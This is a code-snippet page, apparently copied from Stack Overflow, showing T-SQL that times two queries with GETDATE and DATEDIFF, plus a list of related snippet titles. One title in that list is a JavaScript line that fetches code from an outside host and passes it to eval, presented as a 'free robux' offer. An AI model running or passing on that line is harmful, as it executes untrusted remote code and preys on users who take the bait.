Timing sql queries

DECLARE @t1 DATETIME;
DECLARE @t2 DATETIME;

SET @t1 = GETDATE();
SELECT /* query one */ 1 ;
SET @t2 = GETDATE();
SELECT DATEDIFF(millisecond,@t1,@t2) AS elapsed_ms;

SET @t1 = GETDATE();
SELECT /* query two */ 2 ;
SET @t2 = GETDATE();
SELECT DATEDIFF(millisecond,@t1,@t2) AS elapsed_ms;

Timing sql queries

SELECT GETDATE();
SELECT /* query one */ 1 ;
SELECT GETDATE();
SELECT /* query two */ 2 ; 
SELECT GETDATE();

-1

Source: stackoverflow.com

Similar codes

6 votes158 views2 answers
Mysql first day of month
SQL
65 votes455 views6 answers
Sql add column to table
SQL
0 vote158 views1 answer
Heidisql check how much space a row
SQL
0 vote205 views1 answer
Table structure in sql
SQL
0 vote155 views1 answer
Postgres enumerated type
SQL
1 vote171 views1 answer
Oracle drop temporary table
SQL
0 vote152 views1 answer
Php delete database
SQL
0 vote148 views1 answer
MySQLdb._exceptions.ProgrammingError: (1146, "Table 'edxapp.app_feedback feedback category' doesn't exist")
SQL
1 vote177 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote153 views1 answer
Sql select lowest value row
SQL